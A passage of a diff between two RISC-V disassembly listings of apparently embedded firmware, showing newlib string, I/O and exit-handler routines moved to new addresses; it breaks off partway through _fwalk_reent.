+204026b4:	c09c                	sw	a5,0(s1)
+204026b6:	d061                	beqz	s0,20402676 <sniprintf+0x24>
+204026b8:	47a2                	lw	a5,8(sp)
+204026ba:	00078023          	sb	zero,0(a5) # 10013000 <__stack_size+0x10012800>
+204026be:	bf65                	j	20402676 <sniprintf+0x24>
 
-20403898 <isatty>:
-20403898:	ab2ff06f          	j	20402b4a <_isatty>
+204026c0 <strcmp>:
+204026c0:	00054603          	lbu	a2,0(a0)
+204026c4:	0005c683          	lbu	a3,0(a1)
+204026c8:	0505                	addi	a0,a0,1
+204026ca:	0585                	addi	a1,a1,1
+204026cc:	00d61363          	bne	a2,a3,204026d2 <strcmp+0x12>
+204026d0:	fa65                	bnez	a2,204026c0 <strcmp>
+204026d2:	40d60533          	sub	a0,a2,a3
+204026d6:	8082                	ret
 
-2040389c <open>:
-2040389c:	7139                	addi	sp,sp,-64
-2040389e:	d432                	sw	a2,40(sp)
-204038a0:	d636                	sw	a3,44(sp)
-204038a2:	da3e                	sw	a5,52(sp)
-204038a4:	86b2                	mv	a3,a2
-204038a6:	103c                	addi	a5,sp,40
-204038a8:	862e                	mv	a2,a1
-204038aa:	85aa                	mv	a1,a0
-204038ac:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038b0:	ce06                	sw	ra,28(sp)
-204038b2:	d83a                	sw	a4,48(sp)
-204038b4:	dc42                	sw	a6,56(sp)
-204038b6:	de46                	sw	a7,60(sp)
-204038b8:	c63e                	sw	a5,12(sp)
-204038ba:	719000ef          	jal	ra,204047d2 <_open_r>
-204038be:	40f2                	lw	ra,28(sp)
-204038c0:	6121                	addi	sp,sp,64
-204038c2:	8082                	ret
+204026d8 <strlen>:
+204026d8:	87aa                	mv	a5,a0
+204026da:	0007c703          	lbu	a4,0(a5)
+204026de:	0785                	addi	a5,a5,1
+204026e0:	ff6d                	bnez	a4,204026da <strlen+0x2>
+204026e2:	40a78533          	sub	a0,a5,a0
+204026e6:	157d                	addi	a0,a0,-1
+204026e8:	8082                	ret
 
-204038c4 <read>:
-204038c4:	86b2                	mv	a3,a2
-204038c6:	862e                	mv	a2,a1
-204038c8:	85aa                	mv	a1,a0
-204038ca:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038ce:	7310006f          	j	204047fe <_read_r>
+204026ea <strncmp>:
+204026ea:	c60d                	beqz	a2,20402714 <strncmp+0x2a>
+204026ec:	167d                	addi	a2,a2,-1
+204026ee:	4701                	li	a4,0
+204026f0:	00e507b3          	add	a5,a0,a4
+204026f4:	00e586b3          	add	a3,a1,a4
+204026f8:	0007c783          	lbu	a5,0(a5)
+204026fc:	0006c683          	lbu	a3,0(a3)
+20402700:	00d79463          	bne	a5,a3,20402708 <strncmp+0x1e>
+20402704:	00c71563          	bne	a4,a2,2040270e <strncmp+0x24>
+20402708:	40d78533          	sub	a0,a5,a3
+2040270c:	8082                	ret
+2040270e:	0705                	addi	a4,a4,1
+20402710:	f3e5                	bnez	a5,204026f0 <strncmp+0x6>
+20402712:	bfdd                	j	20402708 <strncmp+0x1e>
+20402714:	4501                	li	a0,0
+20402716:	8082                	ret
 
-204038d2 <write>:
-204038d2:	86b2                	mv	a3,a2
-204038d4:	862e                	mv	a2,a1
-204038d6:	85aa                	mv	a1,a0
-204038d8:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038dc:	a009                	j	204038de <_write_r>
+20402718 <strnlen>:
+20402718:	95aa                	add	a1,a1,a0
+2040271a:	87aa                	mv	a5,a0
+2040271c:	00b78563          	beq	a5,a1,20402726 <strnlen+0xe>
+20402720:	0007c703          	lbu	a4,0(a5)
+20402724:	e701                	bnez	a4,2040272c <strnlen+0x14>
+20402726:	40a78533          	sub	a0,a5,a0
+2040272a:	8082                	ret
+2040272c:	0785                	addi	a5,a5,1
+2040272e:	b7fd                	j	2040271c <strnlen+0x4>
 
-204038de <_write_r>:
-204038de:	1141                	addi	sp,sp,-16
-204038e0:	c422                	sw	s0,8(sp)
-204038e2:	842a                	mv	s0,a0
-204038e4:	852e                	mv	a0,a1
-204038e6:	85b2                	mv	a1,a2
-204038e8:	8636                	mv	a2,a3
-204038ea:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-204038ee:	c606                	sw	ra,12(sp)
-204038f0:	ad0ff0ef          	jal	ra,20402bc0 <_write>
-204038f4:	57fd                	li	a5,-1
-204038f6:	00f51663          	bne	a0,a5,20403902 <_write_r+0x24>
-204038fa:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-204038fe:	c391                	beqz	a5,20403902 <_write_r+0x24>
-20403900:	c01c                	sw	a5,0(s0)
-20403902:	40b2                	lw	ra,12(sp)
-20403904:	4422                	lw	s0,8(sp)
-20403906:	0141                	addi	sp,sp,16
-20403908:	8082                	ret
+20402730 <strrchr>:
+20402730:	e18d                	bnez	a1,20402752 <strrchr+0x22>
+20402732:	6fd0006f          	j	2040362e <strchr>
+20402736:	00150793          	addi	a5,a0,1
+2040273a:	84aa                	mv	s1,a0
+2040273c:	85a2                	mv	a1,s0
+2040273e:	853e                	mv	a0,a5
+20402740:	6ef000ef          	jal	ra,2040362e <strchr>
+20402744:	f96d                	bnez	a0,20402736 <strrchr+0x6>
+20402746:	40b2                	lw	ra,12(sp)
+20402748:	4422                	lw	s0,8(sp)
+2040274a:	8526                	mv	a0,s1
+2040274c:	4492                	lw	s1,4(sp)
+2040274e:	0141                	addi	sp,sp,16
+20402750:	8082                	ret
+20402752:	1141                	addi	sp,sp,-16
+20402754:	c422                	sw	s0,8(sp)
+20402756:	c226                	sw	s1,4(sp)
+20402758:	c606                	sw	ra,12(sp)
+2040275a:	87aa                	mv	a5,a0
+2040275c:	842e                	mv	s0,a1
+2040275e:	4481                	li	s1,0
+20402760:	bff1                	j	2040273c <strrchr+0xc>
 
-2040390a <__register_exitproc>:
-2040390a:	88aa                	mv	a7,a0
-2040390c:	81818513          	addi	a0,gp,-2024 # 8000d888 <_global_atexit>
-20403910:	411c                	lw	a5,0(a0)
-20403912:	ef81                	bnez	a5,2040392a <__register_exitproc+0x20>
-20403914:	a7c18713          	addi	a4,gp,-1412 # 8000daec <_global_atexit0>
-20403918:	c118                	sw	a4,0(a0)
-2040391a:	00000513          	li	a0,0
-2040391e:	87ba                	mv	a5,a4
-20403920:	c509                	beqz	a0,2040392a <__register_exitproc+0x20>
-20403922:	411c                	lw	a5,0(a0)
-20403924:	08f72423          	sw	a5,136(a4)
-20403928:	87ba                	mv	a5,a4
-2040392a:	43d8                	lw	a4,4(a5)
-2040392c:	487d                	li	a6,31
-2040392e:	557d                	li	a0,-1
-20403930:	04e84663          	blt	a6,a4,2040397c <__register_exitproc+0x72>
-20403934:	02088d63          	beqz	a7,2040396e <__register_exitproc+0x64>
-20403938:	0887a803          	lw	a6,136(a5)
-2040393c:	04080063          	beqz	a6,2040397c <__register_exitproc+0x72>
-20403940:	00271513          	slli	a0,a4,0x2
-20403944:	9542                	add	a0,a0,a6
-20403946:	c110                	sw	a2,0(a0)
-20403948:	10082303          	lw	t1,256(a6)
-2040394c:	4605                	li	a2,1
-2040394e:	00e61633          	sll	a2,a2,a4
-20403952:	00c36333          	or	t1,t1,a2
-20403956:	10682023          	sw	t1,256(a6)
-2040395a:	08d52023          	sw	a3,128(a0)
-2040395e:	4689                	li	a3,2
-20403960:	00d89763          	bne	a7,a3,2040396e <__register_exitproc+0x64>
-20403964:	10482683          	lw	a3,260(a6)
-20403968:	8e55                	or	a2,a2,a3
-2040396a:	10c82223          	sw	a2,260(a6)
-2040396e:	00170693          	addi	a3,a4,1
-20403972:	070a                	slli	a4,a4,0x2
-20403974:	c3d4                	sw	a3,4(a5)
-20403976:	97ba                	add	a5,a5,a4
-20403978:	c78c                	sw	a1,8(a5)
-2040397a:	4501                	li	a0,0
-2040397c:	8082                	ret
+20402762 <isatty>:
+20402762:	b695                	j	204022c6 <_isatty>
 
-2040397e <__call_exitprocs>:
-2040397e:	7179                	addi	sp,sp,-48
-20403980:	ca56                	sw	s5,20(sp)
-20403982:	c85a                	sw	s6,16(sp)
-20403984:	c65e                	sw	s7,12(sp)
-20403986:	c462                	sw	s8,8(sp)
-20403988:	d606                	sw	ra,44(sp)
-2040398a:	d422                	sw	s0,40(sp)
-2040398c:	d226                	sw	s1,36(sp)
-2040398e:	d04a                	sw	s2,32(sp)
-20403990:	ce4e                	sw	s3,28(sp)
-20403992:	cc52                	sw	s4,24(sp)
-20403994:	c266                	sw	s9,4(sp)
-20403996:	8b2a                	mv	s6,a0
-20403998:	8aae                	mv	s5,a1
-2040399a:	81818b93          	addi	s7,gp,-2024 # 8000d888 <_global_atexit>
-2040399e:	4c05                	li	s8,1
-204039a0:	000ba483          	lw	s1,0(s7)
-204039a4:	cc81                	beqz	s1,204039bc <__call_exitprocs+0x3e>
-204039a6:	40c0                	lw	s0,4(s1)
-204039a8:	0884a983          	lw	s3,136(s1)
-204039ac:	fff40913          	addi	s2,s0,-1
-204039b0:	040a                	slli	s0,s0,0x2
-204039b2:	00898a33          	add	s4,s3,s0
-204039b6:	9426                	add	s0,s0,s1
-204039b8:	00095f63          	bgez	s2,204039d6 <__call_exitprocs+0x58>
-204039bc:	50b2                	lw	ra,44(sp)
-204039be:	5422                	lw	s0,40(sp)
-204039c0:	5492                	lw	s1,36(sp)
-204039c2:	5902                	lw	s2,32(sp)
-204039c4:	49f2                	lw	s3,28(sp)
-204039c6:	4a62                	lw	s4,24(sp)
-204039c8:	4ad2                	lw	s5,20(sp)
-204039ca:	4b42                	lw	s6,16(sp)
-204039cc:	4bb2                	lw	s7,12(sp)
-204039ce:	4c22                	lw	s8,8(sp)
-204039d0:	4c92                	lw	s9,4(sp)
-204039d2:	6145                	addi	sp,sp,48
-204039d4:	8082                	ret
-204039d6:	000a8c63          	beqz	s5,204039ee <__call_exitprocs+0x70>
-204039da:	00099663          	bnez	s3,204039e6 <__call_exitprocs+0x68>
-204039de:	197d                	addi	s2,s2,-1
-204039e0:	1a71                	addi	s4,s4,-4
-204039e2:	1471                	addi	s0,s0,-4
-204039e4:	bfd1                	j	204039b8 <__call_exitprocs+0x3a>
-204039e6:	07ca2783          	lw	a5,124(s4)
-204039ea:	ff579ae3          	bne	a5,s5,204039de <__call_exitprocs+0x60>
-204039ee:	40d8                	lw	a4,4(s1)
-204039f0:	405c                	lw	a5,4(s0)
-204039f2:	177d                	addi	a4,a4,-1
-204039f4:	03271863          	bne	a4,s2,20403a24 <__call_exitprocs+0xa6>
-204039f8:	0124a223          	sw	s2,4(s1)
-204039fc:	d3ed                	beqz	a5,204039de <__call_exitprocs+0x60>
-204039fe:	0044ac83          	lw	s9,4(s1)
-20403a02:	00098863          	beqz	s3,20403a12 <__call_exitprocs+0x94>
-20403a06:	1009a683          	lw	a3,256(s3)
-20403a0a:	012c1733          	sll	a4,s8,s2
-20403a0e:	8ef9                	and	a3,a3,a4
-20403a10:	ee89                	bnez	a3,20403a2a <__call_exitprocs+0xac>
-20403a12:	9782                	jalr	a5
-20403a14:	40d8                	lw	a4,4(s1)
-20403a16:	000ba783          	lw	a5,0(s7)
-20403a1a:	f99713e3          	bne	a4,s9,204039a0 <__call_exitprocs+0x22>
-20403a1e:	fcf480e3          	beq	s1,a5,204039de <__call_exitprocs+0x60>
-20403a22:	bfbd                	j	204039a0 <__call_exitprocs+0x22>
-20403a24:	00042223          	sw	zero,4(s0)
-20403a28:	bfd1                	j	204039fc <__call_exitprocs+0x7e>
-20403a2a:	1049a683          	lw	a3,260(s3)
-20403a2e:	ffca2583          	lw	a1,-4(s4)
-20403a32:	8f75                	and	a4,a4,a3
-20403a34:	e701                	bnez	a4,20403a3c <__call_exitprocs+0xbe>
-20403a36:	855a                	mv	a0,s6
-20403a38:	9782                	jalr	a5
-20403a3a:	bfe9                	j	20403a14 <__call_exitprocs+0x96>
-20403a3c:	852e                	mv	a0,a1
-20403a3e:	9782                	jalr	a5
-20403a40:	bfd1                	j	20403a14 <__call_exitprocs+0x96>
+20402764 <open>:
+20402764:	7139                	addi	sp,sp,-64
+20402766:	d432                	sw	a2,40(sp)
+20402768:	d636                	sw	a3,44(sp)
+2040276a:	da3e                	sw	a5,52(sp)
+2040276c:	86b2                	mv	a3,a2
+2040276e:	103c                	addi	a5,sp,40
+20402770:	862e                	mv	a2,a1
+20402772:	85aa                	mv	a1,a0
+20402774:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402778:	ce06                	sw	ra,28(sp)
+2040277a:	d83a                	sw	a4,48(sp)
+2040277c:	dc42                	sw	a6,56(sp)
+2040277e:	de46                	sw	a7,60(sp)
+20402780:	c63e                	sw	a5,12(sp)
+20402782:	599000ef          	jal	ra,2040351a <_open_r>
+20402786:	40f2                	lw	ra,28(sp)
+20402788:	6121                	addi	sp,sp,64
+2040278a:	8082                	ret
 
-20403a42 <std>:
-20403a42:	1141                	addi	sp,sp,-16
-20403a44:	c422                	sw	s0,8(sp)
-20403a46:	c606                	sw	ra,12(sp)
-20403a48:	842a                	mv	s0,a0
-20403a4a:	00b51623          	sh	a1,12(a0)
-20403a4e:	00c51723          	sh	a2,14(a0)
-20403a52:	00052023          	sw	zero,0(a0)
-20403a56:	00052223          	sw	zero,4(a0)
-20403a5a:	00052423          	sw	zero,8(a0)
-20403a5e:	06052223          	sw	zero,100(a0)
-20403a62:	00052823          	sw	zero,16(a0)
-20403a66:	00052a23          	sw	zero,20(a0)
-20403a6a:	00052c23          	sw	zero,24(a0)
-20403a6e:	4621                	li	a2,8
-20403a70:	4581                	li	a1,0
-20403a72:	05c50513          	addi	a0,a0,92
-20403a76:	e0eff0ef          	jal	ra,20403084 <memset>
-20403a7a:	00001797          	auipc	a5,0x1
-20403a7e:	dd878793          	addi	a5,a5,-552 # 20404852 <__sread>
-20403a82:	d05c                	sw	a5,36(s0)
-20403a84:	00001797          	auipc	a5,0x1
-20403a88:	dfe78793          	addi	a5,a5,-514 # 20404882 <__swrite>
-20403a8c:	d41c                	sw	a5,40(s0)
-20403a8e:	00001797          	auipc	a5,0x1
-20403a92:	e4478793          	addi	a5,a5,-444 # 204048d2 <__sseek>
-20403a96:	d45c                	sw	a5,44(s0)
-20403a98:	00001797          	auipc	a5,0x1
-20403a9c:	e7078793          	addi	a5,a5,-400 # 20404908 <__sclose>
-20403aa0:	40b2                	lw	ra,12(sp)
-20403aa2:	d000                	sw	s0,32(s0)
-20403aa4:	d81c                	sw	a5,48(s0)
-20403aa6:	4422                	lw	s0,8(sp)
-20403aa8:	0141                	addi	sp,sp,16
-20403aaa:	8082                	ret
+2040278c <read>:
+2040278c:	86b2                	mv	a3,a2
+2040278e:	862e                	mv	a2,a1
+20402790:	85aa                	mv	a1,a0
+20402792:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402796:	5b10006f          	j	20403546 <_read_r>
 
-20403aac <_cleanup_r>:
-20403aac:	00001597          	auipc	a1,0x1
-20403ab0:	1b858593          	addi	a1,a1,440 # 20404c64 <_fflush_r>
-20403ab4:	aa81                	j	20403c04 <_fwalk_reent>
+2040279a <write>:
+2040279a:	86b2                	mv	a3,a2
+2040279c:	862e                	mv	a2,a1
+2040279e:	85aa                	mv	a1,a0
+204027a0:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+204027a4:	a009                	j	204027a6 <_write_r>
 
-20403ab6 <__sfmoreglue>:
-20403ab6:	1141                	addi	sp,sp,-16
-20403ab8:	c226                	sw	s1,4(sp)
-20403aba:	06800613          	li	a2,104
-20403abe:	fff58493          	addi	s1,a1,-1
-20403ac2:	02c484b3          	mul	s1,s1,a2
-20403ac6:	c04a                	sw	s2,0(sp)
-20403ac8:	892e                	mv	s2,a1
-20403aca:	c422                	sw	s0,8(sp)
-20403acc:	c606                	sw	ra,12(sp)
-20403ace:	07448593          	addi	a1,s1,116
-20403ad2:	2499                	jal	20403d18 <_malloc_r>
-20403ad4:	842a                	mv	s0,a0
-20403ad6:	cd01                	beqz	a0,20403aee <__sfmoreglue+0x38>
-20403ad8:	00052023          	sw	zero,0(a0)
-20403adc:	01252223          	sw	s2,4(a0)
-20403ae0:	0531                	addi	a0,a0,12
-20403ae2:	c408                	sw	a0,8(s0)
-20403ae4:	06848613          	addi	a2,s1,104
-20403ae8:	4581                	li	a1,0
-20403aea:	d9aff0ef          	jal	ra,20403084 <memset>
-20403aee:	40b2                	lw	ra,12(sp)
-20403af0:	8522                	mv	a0,s0
-20403af2:	4422                	lw	s0,8(sp)
-20403af4:	4492                	lw	s1,4(sp)
-20403af6:	4902                	lw	s2,0(sp)
-20403af8:	0141                	addi	sp,sp,16
-20403afa:	8082                	ret
+204027a6 <_write_r>:
+204027a6:	1141                	addi	sp,sp,-16
+204027a8:	c422                	sw	s0,8(sp)
+204027aa:	842a                	mv	s0,a0
+204027ac:	852e                	mv	a0,a1
+204027ae:	85b2                	mv	a1,a2
+204027b0:	8636                	mv	a2,a3
+204027b2:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+204027b6:	c606                	sw	ra,12(sp)
+204027b8:	3641                	jal	20402338 <_write>
+204027ba:	57fd                	li	a5,-1
+204027bc:	00f51663          	bne	a0,a5,204027c8 <_write_r+0x22>
+204027c0:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+204027c4:	c391                	beqz	a5,204027c8 <_write_r+0x22>
+204027c6:	c01c                	sw	a5,0(s0)
+204027c8:	40b2                	lw	ra,12(sp)
+204027ca:	4422                	lw	s0,8(sp)
+204027cc:	0141                	addi	sp,sp,16
+204027ce:	8082                	ret
 
-20403afc <__sinit>:
-20403afc:	4d1c                	lw	a5,24(a0)
-20403afe:	e3bd                	bnez	a5,20403b64 <__sinit+0x68>
-20403b00:	1141                	addi	sp,sp,-16
-20403b02:	c422                	sw	s0,8(sp)
-20403b04:	c606                	sw	ra,12(sp)
-20403b06:	00000797          	auipc	a5,0x0
-20403b0a:	fa678793          	addi	a5,a5,-90 # 20403aac <_cleanup_r>
-20403b0e:	d51c                	sw	a5,40(a0)
-20403b10:	04052423          	sw	zero,72(a0)
-20403b14:	04052623          	sw	zero,76(a0)
-20403b18:	04052823          	sw	zero,80(a0)
-20403b1c:	5fc0a797          	auipc	a5,0x5fc0a
-20403b20:	d547a783          	lw	a5,-684(a5) # 8000d870 <_global_impure_ptr>
-20403b24:	842a                	mv	s0,a0
-20403b26:	00f51463          	bne	a0,a5,20403b2e <__sinit+0x32>
-20403b2a:	4785                	li	a5,1
-20403b2c:	cd1c                	sw	a5,24(a0)
-20403b2e:	8522                	mv	a0,s0
-20403b30:	281d                	jal	20403b66 <__sfp>
-20403b32:	c048                	sw	a0,4(s0)
-20403b34:	8522                	mv	a0,s0
-20403b36:	2805                	jal	20403b66 <__sfp>
-20403b38:	c408                	sw	a0,8(s0)
-20403b3a:	8522                	mv	a0,s0
-20403b3c:	202d                	jal	20403b66 <__sfp>
-20403b3e:	c448                	sw	a0,12(s0)
-20403b40:	4048                	lw	a0,4(s0)
-20403b42:	4601                	li	a2,0
-20403b44:	4591                	li	a1,4
-20403b46:	3df5                	jal	20403a42 <std>
-20403b48:	4408                	lw	a0,8(s0)
-20403b4a:	4605                	li	a2,1
-20403b4c:	45a5                	li	a1,9
-20403b4e:	3dd5                	jal	20403a42 <std>
-20403b50:	4448                	lw	a0,12(s0)
-20403b52:	4609                	li	a2,2
-20403b54:	45c9                	li	a1,18
-20403b56:	35f5                	jal	20403a42 <std>
-20403b58:	4785                	li	a5,1
-20403b5a:	40b2                	lw	ra,12(sp)
-20403b5c:	cc1c                	sw	a5,24(s0)
-20403b5e:	4422                	lw	s0,8(sp)
-20403b60:	0141                	addi	sp,sp,16
-20403b62:	8082                	ret
-20403b64:	8082                	ret
+204027d0 <__register_exitproc>:
+204027d0:	88aa                	mv	a7,a0
+204027d2:	82018513          	addi	a0,gp,-2016 # 8000d880 <_global_atexit>
+204027d6:	411c                	lw	a5,0(a0)
+204027d8:	ef81                	bnez	a5,204027f0 <__register_exitproc+0x20>
+204027da:	8f418713          	addi	a4,gp,-1804 # 8000d954 <_global_atexit0>
+204027de:	c118                	sw	a4,0(a0)
+204027e0:	00000513          	li	a0,0
+204027e4:	87ba                	mv	a5,a4
+204027e6:	c509                	beqz	a0,204027f0 <__register_exitproc+0x20>
+204027e8:	411c                	lw	a5,0(a0)
+204027ea:	08f72423          	sw	a5,136(a4) # 10013088 <__stack_size+0x10012888>
+204027ee:	87ba                	mv	a5,a4
+204027f0:	43d8                	lw	a4,4(a5)
+204027f2:	487d                	li	a6,31
+204027f4:	557d                	li	a0,-1
+204027f6:	04e84663          	blt	a6,a4,20402842 <__register_exitproc+0x72>
+204027fa:	02088d63          	beqz	a7,20402834 <__register_exitproc+0x64>
+204027fe:	0887a803          	lw	a6,136(a5)
+20402802:	04080063          	beqz	a6,20402842 <__register_exitproc+0x72>
+20402806:	00271513          	slli	a0,a4,0x2
+2040280a:	9542                	add	a0,a0,a6
+2040280c:	c110                	sw	a2,0(a0)
+2040280e:	10082303          	lw	t1,256(a6)
+20402812:	4605                	li	a2,1
+20402814:	00e61633          	sll	a2,a2,a4
+20402818:	00c36333          	or	t1,t1,a2
+2040281c:	10682023          	sw	t1,256(a6)
+20402820:	08d52023          	sw	a3,128(a0)
+20402824:	4689                	li	a3,2
+20402826:	00d89763          	bne	a7,a3,20402834 <__register_exitproc+0x64>
+2040282a:	10482683          	lw	a3,260(a6)
+2040282e:	8e55                	or	a2,a2,a3
+20402830:	10c82223          	sw	a2,260(a6)
+20402834:	00170693          	addi	a3,a4,1
+20402838:	070a                	slli	a4,a4,0x2
+2040283a:	c3d4                	sw	a3,4(a5)
+2040283c:	97ba                	add	a5,a5,a4
+2040283e:	c78c                	sw	a1,8(a5)
+20402840:	4501                	li	a0,0
+20402842:	8082                	ret
 
-20403b66 <__sfp>:
-20403b66:	1141                	addi	sp,sp,-16
-20403b68:	c226                	sw	s1,4(sp)
-20403b6a:	5fc0a497          	auipc	s1,0x5fc0a
-20403b6e:	d064a483          	lw	s1,-762(s1) # 8000d870 <_global_impure_ptr>
-20403b72:	4c9c                	lw	a5,24(s1)
-20403b74:	c04a                	sw	s2,0(sp)
-20403b76:	c606                	sw	ra,12(sp)
-20403b78:	c422                	sw	s0,8(sp)
-20403b7a:	892a                	mv	s2,a0
-20403b7c:	e399                	bnez	a5,20403b82 <__sfp+0x1c>
-20403b7e:	8526                	mv	a0,s1
-20403b80:	3fb5                	jal	20403afc <__sinit>
-20403b82:	04848493          	addi	s1,s1,72
-20403b86:	4480                	lw	s0,8(s1)
-20403b88:	40dc                	lw	a5,4(s1)
-20403b8a:	17fd                	addi	a5,a5,-1
-20403b8c:	0007d663          	bgez	a5,20403b98 <__sfp+0x32>
-20403b90:	409c                	lw	a5,0(s1)
-20403b92:	cfb9                	beqz	a5,20403bf0 <__sfp+0x8a>
-20403b94:	4084                	lw	s1,0(s1)
-20403b96:	bfc5                	j	20403b86 <__sfp+0x20>
-20403b98:	00c41703          	lh	a4,12(s0)
-20403b9c:	e739                	bnez	a4,20403bea <__sfp+0x84>
-20403b9e:	77c1                	lui	a5,0xffff0
-20403ba0:	0785                	addi	a5,a5,1
-20403ba2:	06042223          	sw	zero,100(s0)
-20403ba6:	00042023          	sw	zero,0(s0)
-20403baa:	00042223          	sw	zero,4(s0)
-20403bae:	00042423          	sw	zero,8(s0)
-20403bb2:	c45c                	sw	a5,12(s0)
-20403bb4:	00042823          	sw	zero,16(s0)
-20403bb8:	00042a23          	sw	zero,20(s0)
-20403bbc:	00042c23          	sw	zero,24(s0)
-20403bc0:	4621                	li	a2,8
-20403bc2:	4581                	li	a1,0
-20403bc4:	05c40513          	addi	a0,s0,92
-20403bc8:	cbcff0ef          	jal	ra,20403084 <memset>
-20403bcc:	02042a23          	sw	zero,52(s0)
-20403bd0:	02042c23          	sw	zero,56(s0)
-20403bd4:	04042423          	sw	zero,72(s0)
-20403bd8:	04042623          	sw	zero,76(s0)
-20403bdc:	40b2                	lw	ra,12(sp)
-20403bde:	8522                	mv	a0,s0
-20403be0:	4422                	lw	s0,8(sp)
-20403be2:	4492                	lw	s1,4(sp)
-20403be4:	4902                	lw	s2,0(sp)
-20403be6:	0141                	addi	sp,sp,16
-20403be8:	8082                	ret
-20403bea:	06840413          	addi	s0,s0,104
-20403bee:	bf71                	j	20403b8a <__sfp+0x24>
-20403bf0:	4591                	li	a1,4
-20403bf2:	854a                	mv	a0,s2
-20403bf4:	35c9                	jal	20403ab6 <__sfmoreglue>
-20403bf6:	c088                	sw	a0,0(s1)
-20403bf8:	842a                	mv	s0,a0
-20403bfa:	fd49                	bnez	a0,20403b94 <__sfp+0x2e>
-20403bfc:	47b1                	li	a5,12
-20403bfe:	00f92023          	sw	a5,0(s2)
-20403c02:	bfe9                	j	20403bdc <__sfp+0x76>
+20402844 <__call_exitprocs>:
+20402844:	7179                	addi	sp,sp,-48
+20402846:	ca56                	sw	s5,20(sp)
+20402848:	c85a                	sw	s6,16(sp)
+2040284a:	c65e                	sw	s7,12(sp)
+2040284c:	c462                	sw	s8,8(sp)
+2040284e:	d606                	sw	ra,44(sp)
+20402850:	d422                	sw	s0,40(sp)
+20402852:	d226                	sw	s1,36(sp)
+20402854:	d04a                	sw	s2,32(sp)
+20402856:	ce4e                	sw	s3,28(sp)
+20402858:	cc52                	sw	s4,24(sp)
+2040285a:	c266                	sw	s9,4(sp)
+2040285c:	8b2a                	mv	s6,a0
+2040285e:	8aae                	mv	s5,a1
+20402860:	82018b93          	addi	s7,gp,-2016 # 8000d880 <_global_atexit>
+20402864:	4c05                	li	s8,1
+20402866:	000ba483          	lw	s1,0(s7)
+2040286a:	cc81                	beqz	s1,20402882 <__call_exitprocs+0x3e>
+2040286c:	40c0                	lw	s0,4(s1)
+2040286e:	0884a983          	lw	s3,136(s1)
+20402872:	fff40913          	addi	s2,s0,-1
+20402876:	040a                	slli	s0,s0,0x2
+20402878:	00898a33          	add	s4,s3,s0
+2040287c:	9426                	add	s0,s0,s1
+2040287e:	00095f63          	bgez	s2,2040289c <__call_exitprocs+0x58>
+20402882:	50b2                	lw	ra,44(sp)
+20402884:	5422                	lw	s0,40(sp)
+20402886:	5492                	lw	s1,36(sp)
+20402888:	5902                	lw	s2,32(sp)
+2040288a:	49f2                	lw	s3,28(sp)
+2040288c:	4a62                	lw	s4,24(sp)
+2040288e:	4ad2                	lw	s5,20(sp)
+20402890:	4b42                	lw	s6,16(sp)
+20402892:	4bb2                	lw	s7,12(sp)
+20402894:	4c22                	lw	s8,8(sp)
+20402896:	4c92                	lw	s9,4(sp)
+20402898:	6145                	addi	sp,sp,48
+2040289a:	8082                	ret
+2040289c:	000a8c63          	beqz	s5,204028b4 <__call_exitprocs+0x70>
+204028a0:	00099663          	bnez	s3,204028ac <__call_exitprocs+0x68>
+204028a4:	197d                	addi	s2,s2,-1
+204028a6:	1a71                	addi	s4,s4,-4
+204028a8:	1471                	addi	s0,s0,-4
+204028aa:	bfd1                	j	2040287e <__call_exitprocs+0x3a>
+204028ac:	07ca2783          	lw	a5,124(s4)
+204028b0:	ff579ae3          	bne	a5,s5,204028a4 <__call_exitprocs+0x60>
+204028b4:	40d8                	lw	a4,4(s1)
+204028b6:	405c                	lw	a5,4(s0)
+204028b8:	177d                	addi	a4,a4,-1
+204028ba:	03271863          	bne	a4,s2,204028ea <__call_exitprocs+0xa6>
+204028be:	0124a223          	sw	s2,4(s1)
+204028c2:	d3ed                	beqz	a5,204028a4 <__call_exitprocs+0x60>
+204028c4:	0044ac83          	lw	s9,4(s1)
+204028c8:	00098863          	beqz	s3,204028d8 <__call_exitprocs+0x94>
+204028cc:	1009a683          	lw	a3,256(s3)
+204028d0:	012c1733          	sll	a4,s8,s2
+204028d4:	8ef9                	and	a3,a3,a4
+204028d6:	ee89                	bnez	a3,204028f0 <__call_exitprocs+0xac>
+204028d8:	9782                	jalr	a5
+204028da:	40d8                	lw	a4,4(s1)
+204028dc:	000ba783          	lw	a5,0(s7)
+204028e0:	f99713e3          	bne	a4,s9,20402866 <__call_exitprocs+0x22>
+204028e4:	fcf480e3          	beq	s1,a5,204028a4 <__call_exitprocs+0x60>
+204028e8:	bfbd                	j	20402866 <__call_exitprocs+0x22>
+204028ea:	00042223          	sw	zero,4(s0)
+204028ee:	bfd1                	j	204028c2 <__call_exitprocs+0x7e>
+204028f0:	1049a683          	lw	a3,260(s3)
+204028f4:	ffca2583          	lw	a1,-4(s4)
+204028f8:	8f75                	and	a4,a4,a3
+204028fa:	e701                	bnez	a4,20402902 <__call_exitprocs+0xbe>
+204028fc:	855a                	mv	a0,s6
+204028fe:	9782                	jalr	a5
+20402900:	bfe9                	j	204028da <__call_exitprocs+0x96>
+20402902:	852e                	mv	a0,a1
+20402904:	9782                	jalr	a5
+20402906:	bfd1                	j	204028da <__call_exitprocs+0x96>
 
-20403c04 <_fwalk_reent>:
-20403c04:	7179                	addi	sp,sp,-48
-20403c06:	d422                	sw	s0,40(sp)
-20403c08:	d04a                	sw	s2,32(sp)
-20403c0a:	ce4e                	sw	s3,28(sp)
-20403c0c:	cc52                	sw	s4,24(sp)
-20403c0e:	c85a                	sw	s6,16(sp)
-20403c10:	c65e                	sw	s7,12(sp)
-20403c12:	d606                	sw	ra,44(sp)
-20403c14:	d226                	sw	s1,36(sp)
-20403c16:	ca56                	sw	s5,20(sp)
-20403c18:	892a                	mv	s2,a0
-20403c1a:	8a2e                	mv	s4,a1
-20403c1c:	04850413          	addi	s0,a0,72
-20403c20:	4981                	li	s3,0
-20403c22:	4b05                	li	s6,1
-20403c24:	5bfd                	li	s7,-1
